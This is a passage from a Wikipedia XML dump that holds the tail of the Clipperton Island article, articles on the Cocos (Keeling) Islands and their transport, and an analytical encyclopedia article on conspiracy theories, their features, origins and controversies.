* Skaggs, Jimmy. 1989. Clipperton. ''A History of the Island the World Forgot''. Walker and Company. New York.
*Snodgrass, R. E. and E. Heller. 1902. ''The birds of Clipperton and Cocos Islands; Papers from the Hopkins Stanford Galapagos expedition 1898-1899''. The Academy, Washington, DC. 
*UNEP/IUCN. 1988. ''Coral Reefs of the World''. Volume 3: Central and Western Pacific. UNEP Regional Seas Directories and Bibliographies. IUCN/UNEP, Gland, Switzerland, Cambridge, UK, and Nairobi, Kenya.

[[Category:French overseas departments, territories and collectivities]]
[[Category:Islands]]
[[Category:Neotropic]]
[[Category:Tropical and subtropical grasslands, savannas, and shrublands]]

[[cs:Clippertonův ostrov]]
[[de:Clipperton-Insel]]
[[es:Isla Clipperton]]
[[eo:Klipertono]]
[[fr:Clipperton]]
[[it:Isola Clipperton]]
[[nl:Clipperton]]
[[ja:クリッパートン島]]
[[pl:Wyspa Clipperton]]
[[pt:Ilha de Clipperton]]
[[sk:Clipperton]]
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  <page>
    <title>Cocos (Keeling) Islands</title>
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      <comment>/* Geography */ English Units per [[WP:MOSNUM]]</comment>
      <text xml:space="preserve">[[Image:Cocos_Islands.png|framed|Cocos (Keeling) Islands]]

:''For the [[Costa Rica]]n island, see '''[[Cocos Island]]'''. For the palm tree ''Cocos nucifera'' see [[coconut]] ''

The '''Territory of Cocos (Keeling) Islands''', also called '''Cocos Islands''' and '''Keeling Islands''', is a territory of [[Australia]]. There are two [[atoll]]s with 27 coral islands in the group. The [[island]]s are located in the [[Indian Ocean]], about one-half of the way from Australia to Sri Lanka, at {{coor dms|12|30|00|S|96|50|00|E|}}. 

==History==
[[Image:Keelingsunset.JPG|thumb|250px|right|Sunset over the islands]]
[[Image:Flag of the Cocos (Keeling) Islands.svg|right|thumb|250px|Unofficial Islands flag. (The official flag is that of Australia.)]]

Captain [[William Keeling]] discovered the islands in [[1609]], but they remained uninhabited until the [[19th century]], when they became a possession of the Clunies-Ross family. [[slavery|Slaves]] were brought to work the [[coconut]] plantation from [[Indonesia]], the [[Cape of Good Hope]] and East Asia by Alexander Hare who had taken part in [[Stamford Raffles]]' takeover of [[Java (island)|Java]] in [[1811]]. A merchant seaman called Captain John Clunies-Ross, who had also served under Raffles in the takeover, set up a compound and Hare's severely mistreated slaves soon escaped to work under better conditions in the Clunies-Ross compound. 

On [[1 April]] [[1836]] [[the Voyage of the Beagle|HMS Beagle]] under Captain [[Robert FitzRoy]] arrived to take soundings establishing the profile of the atoll. To the young naturalist [[Charles Darwin]] who was on the ship the results supported a theory he had developed of how atolls formed. He studied the natural history of the islands and collected specimens. His assistant [[Syms Covington]] noted that ''&quot;an Englishman and HIS family, with about sixty or seventy [[Mulatto]]s from the Cape of Good Hope, live on one of the islands. Captain Ross, the governor, is now absent at the Cape.&quot;'' 

The islands were brought under the [[British Empire]] in [[1857]]. In 1867, their administration was placed under the [[Straits Settlements]], which later became known as [[Singapore]]. [[Victoria of the United Kingdom|Queen Victoria]] granted the islands in perpetuity to the [[King of the Cocos Islands|Clunies-Ross family]] in 1886. 

On [[November 9]], [[1914]], the islands became the site of the [[Battle of Cocos]], one of the first [[naval battle]]s of [[World War I]]. The [[Telegraphy|telegraph]] station on [[Direction Island (disambiguation)|Direction Island]] was attacked by the [[Imperial Germany|German]] [[light cruiser]] [[SMS Emden|SMS ''Emden'']], which was destroyed several hours later by the [[Australia]]n cruiser, [[HMAS Sydney (1912)|HMAS ''Sydney'']]. 

After the [[Fall of Singapore]] in [[1942]] during [[World War II]], the islands were administered under [[Ceylon]] ([[Sri Lanka]]), while West Island and [[Direction Island (disambiguation)|Direction Island]] were placed under [[Allied]] military administration. On the night of 8/9 May 1942, gunners of the [[Ceylon Garrison Artillery]] on Horsburgh Island rebelled. The [[Cocos Islands Mutiny]] was crushed and three of the rebels were to be the only [[Commonwealth of Nations|British Commonwealth]] soldiers to be executed for [[mutiny]] during the Second World War. In [[1946]] the administration of the islands was reverted back to Singapore.

On [[November 23]], [[1955]] the islands were transferred to Australian control under the ''Cocos (Keeling) Islands Act 1955''. In 1978, Australia entered a form of purchase of the islands with the Clunies-Ross family, and subsequently manufactured an identity for locals to whom it gave a degree of [[self-governance|autonomy]]. In the process the position of the Clunies-Ross family has been gradually, and deliberately, undermined.

==Geography==
The Cocos (Keeling) Islands consist of two flat, low-lying coral [[atoll]]s with an area of 14.2 [[square kilometre]]s (5.4&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]), 2.6 [[kilometre]]s (1.6&amp;nbsp;[[mile|mi]]) of coastline, a highest elevation of five [[metre]]s (16&amp;nbsp;[[foot (unitof length)|ft]]) and thickly covered with coconut palms and other vegetation. The climate is pleasant, modified by the southeast trade winds for about nine months of the year and with moderate rainfall. Cyclones may occur in the early months of the year.

'''North Keeling Island''' is an atoll consisting of just one C-shaped island, a nearly closed atoll ring with a small opening into the [[lagoon]], about 50 metres (165&amp;nbsp;ft) wide, on the East side. The island measures 1.1 square kilometres (272&amp;nbsp;[[acre]]s) in land area and is uninhabited. The lagoon is about 0.5 square kilometres (124&amp;nbsp;acres).

'''South Keeling Islands''' is an atoll consisting of 26 individual islets forming an incomplete atoll ring, with a total land area of 13.1 square kilometres (5.1&amp;nbsp;sq.&amp;nbsp;mi). Only '''Home Island''' and '''West Island''' are populated.

There are no rivers or lakes on either atoll; fresh water resources are limited to rainwater accumulations in natural underground reservoirs.

==Demographics==

[[As of 2004]], there are 629 inhabitants of the Cocos (Keeling) islands. The population on the two inhabited islands generally is split between the ethnic [[European]]s on West Island (est. pop. 120) and the ethnic [[Malay people|Malay]]s on Home Island (est. pop. 600).  A Cocos dialect of Bahasa Malay and English are the main languages spoken and 80% of Cocos Islanders are [[Sunni Muslim]].

==Government==

[[Image:Keelingpalms.jpg|thumb|right|250px|Palm trees on the islands]]

The capital of the Territory of Cocos (Keeling) Islands is [[West Island, Cocos Islands|West Island]]. Some sources say that the capital is a small settlement named Bantam which is located on West Island. Governance of the islands is based on the ''Cocos (Keeling) Islands Act of 1955'' and depends heavily on the laws of Australia. The islands are administered from [[Canberra]] by the [[Australian Department of Transport and Regional Services|Department of Transport and Regional Services]], with a non-resident Administrator ([[Neil Lucas]], appointed on [[30 January]] [[2006]]) appointed by the Governor-General (Neil Lucas is also the Administrator of [[Christmas Island]]. These two Territories together make up Australia's Indian Ocean Territories). There also exists a unicameral Cocos (Keeling) Islands Shire Council with seven seats. A full term lasts four years, though elections are held every two years; approximately half the members retire each two years. Federally, Cocos (Keeling) Islanders form the electorate of [[Division of Lingiari|Lingiari]] with [[Christmas Island]] and outback Northern Territory.

While the islands' defence is the responsibility of Australia, the Cocos (Keeling) Islands do have a five-person police force.

==Economy==

Grown throughout the islands, [[coconut]]s are the sole [[cash crop]]. [[Copra]] and fresh coconuts are the major export earners. Small local gardens and fishing contribute to the food supply, but additional food and most other necessities must be imported from [[Australia]]. There is a small but growing tourist industry.

The Cocos Islands Cooperative Society Ltd. employs construction workers, stevedores, and lighterage worker operations. Tourism employs others.

The islands are connected within Australia's telecommunication system. There is one paved airport (on the West Island) and a lagoon anchorage.

The region's internet [[top-level domain]] is [[.cc]]. 

==Links and References==
*[http://www.cocos-tourism.cc Cocos (Keeling) Islands Tourism website]
*[http://www.cia.gov/cia/publications/factbook/geos/ck.html Cocos (Keeling) Islands] entry from the [[CIA World Factbook]]
*[http://www.shire.cc/ Shire of Cocos (Keeling) Islands]
*[http://www.awm.gov.au/journal/j34/cocosmutiny.htm Noel Crusz, ''The Cocos Islands mutiny'', Reviewed by: PETER STANLEY, Principal Historian, Australian War Memorial]



{{Australia}}

[[Category:British rule in Singapore]]
[[Category:Cocos (Keeling) Islands]]
[[Category:Islands of Australia]]

[[da:Cocosøerne]]
[[de:Kokosinseln]]
[[es:Islas Cocos]]
[[eo:Kokosinsuloj]]
[[fr:Îles Cocos]]
[[gl:Illas Cocos]]
[[ko:코코스 제도]]
[[is:Kókoseyjar]]
[[he:איי קוקוס]]
[[hu:Kókusz (Keeling)-szigetek]]
[[nl:Cocoseilanden]]
[[no:Kokosøyene]]
[[ja:ココス諸島]]
[[no:Kokosøyene]]
[[pl:Wyspy Kokosowe]]
[[pt:Ilhas Cocos]]
[[fi:Kookossaaret]]
[[sv:Kokosöarna]]
[[tr:Cocos Adaları]]
[[zh:科科斯(基林)群岛]]</text>
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      <comment>cat</comment>
      <text xml:space="preserve">'''Railways:'''
0 km

'''Highways:'''
&lt;br /&gt;''total:''
15 km (2001)
&lt;br /&gt;''paved:''
NA km
&lt;br /&gt;''unpaved:''
NA km

'''Ports and harbours:'''
none; lagoon anchorage only

'''Merchant marine:'''
none (2002 est.) 

'''Airports:'''
1 (2002)

'''Airports - with paved runways:'''
&lt;br /&gt;''total:''
1
&lt;br /&gt;''1,524 to 2,437 m:''
1 (2002)

''Information from the [[CIA World Factbook]], [[2003]] edition.''

:''See also :'' [[Cocos (Keeling) Islands]]

[[Category:Transport in Australia]]
[[Category:Cocos (Keeling) Islands]]</text>
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    <title>Conspiracy theory</title>
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      <comment>Reverted edits by [[Special:Contributions/82.249.117.123|82.249.117.123]] ([[User talk:82.249.117.123|talk]]) to last version by Tom harrison</comment>
      <text xml:space="preserve">:''For the 1997 film, see [[Conspiracy Theory (film)]].'' 
[[Image:IAO-logo.png|thumb|225px|This proposed logo for the [[Information Awareness Office]] (a US governmental agency) was dropped due to fears that its pseudo-[[Freemasonry|Masonic]] symbolism would provoke conspiracy theories.]]
A '''conspiracy theory''' attempts to explain the cause of an event as a secret, and often deceptive, [[Conspiracy|plot]] by a [[covert]] alliance rather than as an overt activity or as natural occurrence. 

The term &quot;conspiracy theory&quot; is used by scholars and in popular culture to identify a type of [[folklore]] similar to an [[urban legend]], having certain regular features, especially an explanatory narrative which is constructed with certain naive methodological flaws. The term is also used [[pejorative|pejoratively]] to dismiss allegedly misconceived, paranoid or outlandish rumors.

Most people who have their theory or speculation labeled a &quot;conspiracy theory&quot; reject the term as prejudicial. Others use it in an attempt to evade an analysis of a subject.[http://www.cooperativeresearch.org/timeline.jsp?timeline=complete_911_timeline&amp;startpos=1300#a111001bushtheories]
__TOC__

==Overview==
The term &quot;conspiracy theory&quot; may be a neutral descriptor for a [[conspiracy]] claim. 
However, conspiracy ''theory'' is also used to indicate a [[narrative]] [[genre]] that includes a broad selection of (not necessarily related) arguments for the existence of grand conspiracies, any of which might have far-reaching social and political implications if true. 

Many conspiracy theories are false, or lack enough verifiable evidence to be taken seriously, raising the intriguing question of what mechanisms might exist in popular culture that lead to their invention and subsequent uptake. In pursuit of answers to that question, conspiracy theory has been a topic of interest for sociologists, psychologists and experts in folklore since at least the 1960s, when the [[John_F._Kennedy_assassination|assassination]] of US President [[John F. Kennedy]] provoked an unprecedented [[Kennedy_assassination_theories|level of speculation]]. This academic interest has identified a set of familiar structural features by which membership of the genre may be established, and has presented a range of hypotheses on the basis of studying the genre.

Whether or not a particular conspiracy allegation may be impartially or neutrally labelled a conspiracy theory is subject to [[Conspiracy theory#Controversies|some controversy]]. If legitimate uses of the label are admitted, they work by identifying structural features in the story in question which correspond to those features listed below.

See also [[Conspiracy#Conspiracy_in_law|conspiracy as a legal concept]].

==Features==
Allegations exhibiting several of the following features are candidates for classification as conspiracy theories. Confidence in such classification improves the more such features are exhibited:

# Initiated on the basis of limited, partial or circumstantial evidence;&lt;br&gt;''Conceived in reaction to [[Mass media|media]] reports and images, as opposed to, for example, thorough knowledge of the relevant [[Forensics|forensic]] evidence''. 
# Addresses an event or process that has broad historical or emotional impact;&lt;br&gt;''Seeks to interpret a phenomenon which has near-universal interest and emotional significance, a story that may thus be of some compelling interest to a wide audience''. 
# Reduces morally complex social phenomena to simple, immoral actions;&lt;br&gt;''Impersonal, institutional processes, especially errors and oversights, interpreted as malign, consciously intended and designed by immoral individuals''.  
# Personifies complex social phenomena as powerful individual conspirators;&lt;br&gt;''Related to (3) but distinct from it, deduces the existence of powerful individual conspirators from the 'impossibility' that a chain of events lacked direction by a person''. 
# Allots superhuman talents or resources to conspirators;&lt;br&gt;''May require conspirators to possess unique discipline, never to repent, to possess unknown technology, uncommon psychological insight, historical foresight, unlimited resources, etc''. 
# Key steps in argument rely on [[Induction (philosophy)|inductive]], not [[Deductive reasoning|deductive]] reasoning;&lt;br&gt;''Inductive steps are mistaken to bear as much confidence as deductive ones''. 
# Appeals to 'common sense';&lt;br&gt;''Common sense steps substitute for the more robust, academically respectable methodologies available for investigating sociological and scientific phenomena''.
# Exhibits well-established logical and methodological [[Logical fallacy|fallacies]];&lt;br&gt;''Formal and informal logical fallacies are readily identifiable among the key steps of the argument''.
# Is produced and circulated by 'outsiders', often anonymous, and generally lacking peer review;&lt;br&gt;''Story originates with a person who lacks any insider contact or knowledge, and enjoys popularity among persons who lack critical (especially technical) knowledge''.
# Is upheld by persons with demonstrably false conceptions of relevant science;&lt;br&gt;''At least some of the story's believers believe it on the basis of a mistaken grasp of elementary scientific facts''. 
# Enjoys zero credibility in expert communities;&lt;br&gt;''Academics and professionals tend to ignore the story, treating it as too frivolous to invest their time and risk their personal authority in disproving''. 
# Rebuttals provided by experts are ignored or accommodated through elaborate new twists in the narrative;&lt;br&gt;''When experts ''do'' respond to the story with critical new evidence, the conspiracy is elaborated (sometimes to a spectacular degree) to discount the new evidence, often incorporating the rebuttal as a part of the conspiracy.'

==Origins of conspiracy theories==
Humans naturally respond to events or situations which have had an emotional impact upon them by trying to make sense of those events, typically in spiritual, moral, political, or scientific terms. 

Events which seem to resist such interpretation&amp;mdash;for example, because they are, in fact, unexplainable&amp;mdash;may provoke the inquirer to look harder for a meaning, until one is reached that is capable of offering the inquirer the required emotional satisfaction. As sociological historian Holger Herwig found in studying German explanations of [[World War I]]:

:''Those events that are most important are hardest to understand, because they attract the greatest attention from mythmakers and charlatans.''

This normal process could be diverted by a number of influences. At the level of the individual, pressing psychological needs may influence the process, and certain of our universal mental tools may impose [[epistemology|epistemic]] 'blind spots'. At the group or sociological level, historic factors may make the process of assigning satisfactory meanings more or less problematic.

===Psychological origins===
When conspiracy theories combine logical fallacies with lack of evidence, the result is a worldview known as [[conspiracism]]. Conspiracism is  a worldview that sees major historic events and trends as the result of secret conspiracies. According to many [[psychologist]]s, a person who believes in one conspiracy theory is often a believer in other conspiracy theories.

Psychologists believe that the search for meaningfulness features largely in conspiracism and the development of conspiracy theories. That desire alone may be powerful enough to lead to the initial formulation of the idea. Once cognized, [[confirmation bias]] and avoidance of [[cognitive dissonance]] may reinforce the belief. In a context where a conspiracy theory has become popular within a social group, [[communal reinforcement]] may equally play a part. 

[[Evolutionary psychology]] may also play a significant role.  Paranoid tendencies are associated with an animal's ability to recognize danger.  Higher animals attempt to construct mental models of the thought processes of both rivals and predators in order to read their hidden intentions and to predict their future behavior.  Such an ability is extremely valuable in sensing and avoiding danger in an animal community.  If this danger-sensing ability should begin making false predictions, or be triggered by benign evidence, or otherwise become pathological, the result is paranoid delusions.  A conspiracy theorist sees danger everywhere, and may simply be the victim of a malfunction in a valuable and evolutionarily-old natural ability.

====Epistemic bias?====
It is possible that certain basic human [[Epistemology|epistemic]] biases are projected onto the material under scrutiny. According to one study humans apply a 'rule of thumb' by which we expect a significant event to have a significant cause.{{ref|bps}} The study offered subjects four versions of events, in which a foreign president was (a) successfully assassinated, (b) wounded but survived, (c) survived with wounds but died of a heart attack at a later date, and (d) was unharmed. Subjects were significantly more likely to suspect conspiracy in the case of the 'major events'&amp;mdash;in which the president died&amp;mdash;than in the other cases, despite all other evidence available to them being equal. 

Another epistemic 'rule of thumb' that can be misapplied to a mystery involving other humans is [[cui bono]]? (who stands to gain?). This sensitivity to the hidden motives of other people might be either an evolved or an encultured feature of human consciousness, but either way it appears to be universal. If the inquirer lacks access to the relevant facts of the case, or if there are structural interests rather than personal motives involved, this method of inquiry will tend to produce a falsely conspiratorial account of an impersonal event. The direct corollary of this epistemic bias in pre-scientific cultures is the tendency to imagine the world in terms of [[animism]]. Inanimate objects or substances of significance to humans are [[Fetishism|fetishised]] and supposed to harbor benign or malignant spirits.

====Clinical psychology====
For relatively rare individuals, an obsessive compulsion to believe, prove or re-tell a conspiracy theory may indicate one or more of several well-understood psychological conditions, and other hypothetical ones: [[paranoia]], [[denial]], [[schizophrenia]], [[Mean world syndrome]]{{ref|columbia}}.

===Sociopolitical origins===
[[Christopher Hitchens]] represents conspiracy theories as the 'exhaust fumes of democracy', the unavoidable result of a large amount of information circulating among a large number of people. Other social commentators and sociologists argue that conspiracy theories are produced according to variables which may change within a democratic (or other type of) society. 

Conspiratorial accounts can be emotionally satisfying when they place events in a readily-understandable, moral context. The subscriber to the theory is able to assign moral responsibility for an emotionally troubling event or situation to a clearly-conceived group of individuals. Crucially, that group ''does not include'' the believer. The believer may then feel excused any moral or political responsibility for remedying whatever institutional or societal flaw might be the actual source of the dissonance. Alternatively, believers may find themselves committed to a type of activism, to expose the alleged conspirators; see, for example, the [[9/11 Truth Movement]].

Where responsible behavior is prevented by social conditions, or is simply beyond the ability of an individual, the conspiracy theory facilitates the emotional discharge or [[closure (psychology)|closure]] which such emotional ''challenges'' (after [[Erving Goffman]]) require. Like [[moral panic]]s, conspiracy theories thus occur more frequently within communities which are experiencing [[alienation|social isolation]] or political disempowerment. 

Mark Fenster argues that &quot;just because overarching conspiracy theories are wrong does not mean they are not on to something. Specifically, they ideologically address real structural inequities, and constitute a response to a withering civil society and the concentration of the ownership of the means of production, which together leave the political subject without the ability to be recognized or to signify in the public realm&quot; (1999: 67). 

For example, the modern form of [[anti-Semitism]] is identified in Britannica 1911 as a conspiracy theory serving the self-understanding of the European [[aristocracy]], whose social power waned with the rise of [[bourgeoisie|bourgeois]] society.{{ref|1911}} 

A particularly political individual or group may respond skeptically or cynically towards an event or process which does not fit with his/its existing worldview. For example, a [[neo-Nazism|neo-Nazi]] or an anti-Israeli organization such as [[Hezbollah|Hizbollah]] might promote claims of Jewish involvement in [[September 11, 2001 attacks|9/11]] in order to incorporate that event into its own political narrative in a manner compatible to meeting its own ends. 

====Disillusionment====
In the late 20th century, Western societies increasingly experienced a process of disengagement, disaffection or disillusionment with traditional political institutions among their general populations. Falling election participation and declines in other key metrics of social engagement were noted by several observers. For a prominent example, see [[Robert Putnam|Robert D. Putnam]]'s [[Bowling Alone]] thesis. Those who were most influenced by this period, the so-called &quot;[[Generation X]],&quot; are characterized by their [[cynicism]] towards traditional institutions and authorities, offering a case example of the context of political disempowerment detailed above. 

In that context, a typical individual will tend to be more isolated from the kinds of peer networks which grant access to broad sources of information, and may instinctively distrust any statement or claim made by certain people, media and other authority-bearing institutions. For some individuals, the consequence may be a tendency to attribute anything bad that happens to the distrusted authority. For example, some people attribute the [[September 11, 2001 attacks|September 11, 2001]] attacks to a conspiracy involving the U.S. government (or disfavored politicians) instead of to [[Islamist terrorism|Islamic terrorists]] associated with [[Al-Qaeda]] (see [[9/11 conspiracy theories]].)

====Media tropes====
Media commentators regularly note a tendency in news media and wider culture to understand events through the prism of individual agents, as opposed to more complex structural or institutional accounts.{{ref|Ivan}} If this is a true observation, it may be expected that the audience which both demands and consumes this emphasis itself is more receptive to personalised, [[drama|dramatic]] accounts of social phenomena.

A second, perhaps related, media trope is the effort to allocate individual responsibility for negative events. The media have a tendency to start to seek culprits if an event occurs that is of such significance that it does not drop off the news agenda within a few days. Of this trend, it has been said that the concept of a pure accident is no longer permitted in a news item [http://news.bbc.co.uk/1/hi/magazine/4217024.stm]. Again, if this is a true observation, it may be expected to reflect a real change in how the media consumer perceives negative events.

==Controversies==
Aside from [[controversies]] over the merits of particular conspiracy claims (see [[#Conspiracy theories by topic or main figure|catalog]] below), and the various differing academic opinions (above), the general category of conspiracy theory is ''itself'' a matter of some public contestation. 

===Usage===
The term &quot;conspiracy theory&quot; is considered by different observers to be a neutral description for a conspiracy claim, a pejorative term used to dismiss such a claim, and a term that can be positively embraced by proponents of such a claim. The term may be used by some for arguments they might not wholly believe but consider radical and exciting. The most widely accepted sense of the term is that which popular culture and academic usage share, certainly having negative implications for a narrative's probable truth value. 

Given this popular understanding of the term, it is conceivable that the term might be used illegitimately and inappropriately, as a means to dismiss what are in fact substantial and well-evidenced accusations. The legitimacy of each such usage will therefore be a matter of some controversy. Disinterested observers will compare an allegation's features with those of the category listed above, in order to determine whether a given usage is legitimate or prejudicial.  

Certain proponents of conspiracy claims and their supporters argue that the term is entirely illegitimate, and should be considered just as politically manipulative as the Soviet practice of treating political dissidents as clinically insane. The term ''conspiracy theory'' is itself the object of a type of conspiracy theory, which argues that those using the term are manipulating their audience to disregard the topic under discussion, either in a deliberate attempt to conceal the truth, or as dupes of more deliberate conspirators. 

When conspiracy theories are offered as official claims (e.g. originating from a governmental authority, such as an intelligence agency) they are not usually considered as conspiracy theories. For example, certain activities of the [[House Un-American Activities Committee]] may be considered to have been an official attempt to promote a conspiracy theory, yet its claims are seldom referred to as such.

===The truth of a conspiracy theory===
Perhaps the most contentious aspect of a conspiracy theory is the problem of settling a particular theory's truth to the satisfaction of both its proponents and its opponents. Particular accusations of conspiracy vary widely in their plausibility, but some common standards for assessing their likely truth value may be applied in each case:
* [[Occam's Razor|Occam's razor]] - is the alternative story more, or less, probable than the mainstream story? Rules of thumb here include the [[multiplication of entities]] test. 
* [[Psychology]] - does the conspiracy accusation satisfy an identifiable psychological [[#Psychology_of_conspiracy_theory|need]] for its proposer?
* [[Falsifiability]] - are the &quot;proofs&quot; offered for the argument well constructed, ie, using sound methodology? 
* [[Whistleblower|Whistleblowers]] - how many people&amp;ndash;and what kind&amp;ndash;have to be loyal conspirators?

====Real conspiracies====
On some occasions a particular accusation of conspiracy is found to be true (see for example, [[Émile_Zola|Emile Zola]]'s accusations concerning the [[Dreyfus Affair]]). Where such success is due to sound investigative methodology, it is clear that it would not exhibit many of the compromising [[#Features|features]] identified as characteristic of conspiracy theory, and would thus not commonly be considered a 'Conspiracy theory'. In the case of the 1971 revelation of the [[Federal Bureau of Investigation|FBI]]'s [[COINTELPRO]] counter-intelligence work against domestic political activists, it is not clear to what extent a 'conspiracy theory' involving government agents was either proposed or dismissed prior to the programme's factual exposure. 

Some argue that the reality of such conspiracies should caution against any casual dismissal of conspiracy theory. A number of true or possibly true conspiracies are cited in making this case; the [[Mafia]], the [[Business Plot]], [[Project MKULTRA|MKULTRA]], various CIA involvements in overseas [[coup d'état|coups d'état]], [[Operation Northwoods]], the [[Tuskegee Syphilis Study|Tuskegee Study of Untreated Syphilis in the Negro Male]], the [[General Motors streetcar conspiracy]] and the [[Pearl Harbor advance-knowledge debate]], among others.

====Falsifiability====
[[Karl Popper]] argued that [[science]] is written as a set of [[falsifiability|falsifiable]] [[hypothesis|hypotheses]]; [[metaphysics|metaphysical]] or unscientific theories and claims are those which do not admit any possibility for falsification. Critics of conspiracy theories sometimes argue that many of them are not falsifiable and so cannot be scientific. This accusation is often accurate, and is a necessary consequence of the logical structure of certain kinds of conspiracy theories. These take the form of uncircumscribed [[existential quantification|existential statements]], alleging the ''existence'' of some action or object without specifying the ''place or time'' at which it can be observed. Failure to observe the phenomenon can then always be the result of looking in the wrong place or looking at the wrong time &amp;mdash; that is, having been duped by the conspiracy. This makes impossible any demonstration that the conspiracy does not exist. 

In his two volume work, ''The Open Society &amp; Its Enemies, 1938&amp;ndash;1943'' Popper used the term &quot;conspiracy theory&quot; to criticize the ideologies driving [[fascism]], [[Nazism]] and [[communism]].  Popper argued that totalitarianism was founded on &quot;conspiracy theories&quot; which drew on imaginary plots driven by paranoid scenarios predicated on tribalism, racism or classism.  Popper did not argue against the existence of everyday conspiracies (as incorrectly suggested in much of the later literature).  Popper even uses the term &quot;conspiracy&quot; to describe ordinary political activity in the [[History of Athens|classical Athens]] of [[Plato]] (who was the principal target of his attack in ''The Open Society &amp; Its Enemies'').

In response to this objection to conspiracy theories, some argue that ''no'' political or historical theory can be scientific by Popper's criterion because none reliably generate testable predictions. In fact, Popper himself rejected the claims of [[Marxism]] and [[psychoanalysis]] to scientific status on precisely this basis. This does not necessarily mean that either conspiracy theory, Marxism, or psychoanalysis are baseless, irrational, and false; it ''does'' suggest that if they are false there is no way to prove it . 

Falsifiability has been widely criticised for misrepresenting the actual process of scientific discovery by a number of scholars, notably [[paradigm]] theorists and Popper's former students [[Thomas Kuhn]], [[Paul Feyerabend]], and [[Imre Lakatos]]. Within [[epistemology|epistemological]] circles, falsifiability is not now considered a tenable criterion for determining scientific status, although it remains popular.

==Conspiracy theories in fiction==
''Main article'': [[Conspiracy theories (fictional)]]

Conspiracies are a popular theme in several genres of fiction, notably [[Thriller|thrillers]] and [[science fiction]], primarily due to their dramatic potential: recasting complex or meaningless historical events into relatively simple [[Morality play|morality plays]], in which bad people are the cause of bad events, and good people face the relatively simple task of identifying and defeating them. Compared to the subtlety and complexity of more rigorous sociological or historical accounts of events, conspiracy theory makes for a neat and intuitive narrative. It is perhaps no coincidence, then, that the English word &quot;[[plot]]&quot; applies to both a story, and the activities of conspirators.

''[[Conspiracy Theory (film)|Conspiracy Theory]]'' is a 1997 thriller about a taxi driver (played by Mel Gibson) who publishes a newsletter in which he discusses what he suspects are government conspiracies.

''[[The X-Files]]'' was a popular television show during the 1990s, which followed the investigations of two intrepid FBI agents, Mulder and Scully. Many of the episodes dealt with conspiracies of many different varieties, most notably a plot for alien invasion overseen by elements of the [[United States|U.S.]] government led by the mysterious individual known only as the [[Cigarette Smoking Man]].

==Notes==
#{{Note|publiceye}}&quot;[http://www.publiceye.org/tooclose/conspiracism.html Conspiracism],&quot; Political Research Associates, (accessed June 7, 2005).
#{{Note|bps}}&quot;[http://www.bps.org.uk/media-centre/press-releases/releases$/annual-conferences-1999-2004/who-shot-the-president$.cfm Who shot the president?],&quot; The British Psychological Society , March 18, 2003 (accessed June 7, 2005).
#{{Note|1911}}&quot;[http://54.1911encyclopedia.org/A/AN/ANTI_SEMITISM.htm Anti-Semitism],&quot; 1911 Online Encyclopedia, (accessed June 7, 2005).
#{{Note|Ivan}}Ivan Emke, &quot;[http://www.cjc-online.ca/viewarticle.php?id=585&amp;layout=html Agents and Structures: Journalists and the Constraints on AIDS Coverage],&quot;  ''Canadian Journal of Communication'' 25, no. 3 (2000), (accessed June 7, 2005).
#{{Note|columbia}}&quot;[http://www.columbia.edu/~kw96/TopFive.html#Anchor-Media-54000 Top 5 New Diseases: Media Induced Posttraumatic Stress Disorder (MIPTSD)],&quot; ''The New Disease: A Journal of Narrative Pathology'' 2 (2004), (accessed June 7, 2005). 

==References==
* American Heritage Dictionary, &quot;Conspiracy theory&quot;
* Barkun, Michael. 2003. ''A Culture of Conspiracy: Apocalyptic Visions in Contemporary America''. Berkeley: University of California Press. ISBN 0520238052
* Chase, Alston. 2003. ''Harvard and the Unabomber: The Education of an American Terrorist''. New York: W. W. Norton &amp; Company. ISBN 0393020029
* Fenster, Mark. 1999. ''Conspiracy Theories: Secrecy and Power in American Culture''. Minneapolis, MN: University of Minnesota Press. ISBN 081663243X
* Goldberg, Robert Alan. 2001. ''Enemies Within: The Culture of Conspiracy in Modern America''. New Haven &amp; London: Yale University Press. ISBN 0300090005
* Hofstadter, Richard. 1965. ''The Paranoid Style in American Politics and Other Essays''. New York: Alfred A. Knopf. ISBN 0674654617
* Melley, Timothy. 1999. ''Empire of Conspiracy: The Culture of Paranoia in Postwar America''. Ithaca, NY: Cornell University Press. ISBN 0801486068
* Mintz, Frank P. 1985. ''The Liberty Lobby and the American Right: Race, Conspiracy, and Culture''. Westport, CT: Greenwood. ISBN 031324393X
* Pipes, Daniel. 1997. ''Conspiracy: How the Paranoid Style Flourishes and Where It Comes from''. New York: The Free Press. ISBN 0684871114
* ---. 1998. ''The Hidden Hand: Middle East Fears of Conspiracy''. New York: St. Martin's Press. ISBN 0312176880
* Popper, Karl R.  1945.  ''The Open Society and Its Enemies''.  Princeton: Princeton University Press. ISBN 0691019681
* Posner, Gerald. 1993. ''Case Closed: Lee Harvey Oswald and the Assassination of JFK''. New York: The Random House. ISBN 0385474466
* Sagan, Carl. 1996. ''The Demon-Haunted World: Science as a Candle in the Dark''. New York: Random House. ISBN 039453512X
* Vankin, Jonathan, and John Whalen. 2004. ''The 80 Greatest Conspiracies of All Time''. New York: Citadel Press. ISBN 0806525312

==Further reading==

* Wilson, Robert Anton. 2002. ''TSOG: The Thing That Ate the Constitution'', Tempe, AZ: New Falcon Publications. ISBN 1561841692
* York, Byron. 2005. ''The Vast Left Wing Conspiracy: The Untold Story of How Democratic Operatives, Eccentric Billionaires, Liberal Activists, and Assorted Celebrities Tried to Bring Down a President - and Why They'll Try Even Harder Next Time'', New York, Crown Forum. ISBN 1400082382

===Conspiracist literature===
*[[The Protocols of the Elders of Zion]]

*{{cite book
 | last = Bryan 
 | first = Gerald B. 
 | coauthors = Talita Paolini, Kenneth Paolini
 | authorlink = &quot;I Am&quot; Activity
 | title = Psychic Dictatorship in America
 | year = 2000
 | origyear = 1940
 | publisher = Paolini International LLC
 | id = ISBN 096662131X
}}

*{{cite book
 | last = Pelley 
 | first = William Dudley 
 | authorlink = William Dudley Pelley
 | title = Star Guests:Design for Mortality
 | year = 1950
 | publisher = Soulcraft Press
 | location = Noblesville, Indiana
}}

*{{cite book
 | last = Robertson
 | first = Pat
 | authorlink = Pat Robertson
 | title = The New World Order
 | year = 1992
 | publisher = W Publishing Group
 | id = ISBN 0849933943
}}

*{{cite book
 | last = Marrs
 | first = Texe
 | authorlink = Texe Marrs
 | title = Project L.U.C.I.D.: The Beast 666 Universal Human Control System
 | year = 1996
 | publisher = Living Truth Publishers 
 | id = ISBN 1884302025
}}

*{{cite book
 | last = Cooper
 | first = Milton William
 | authorlink = William Milton Cooper
 | title = Behold a Pale Horse
 | year = 1991
 | publisher = Light Technology Publications
 | id = ISBN 0929385225
}}

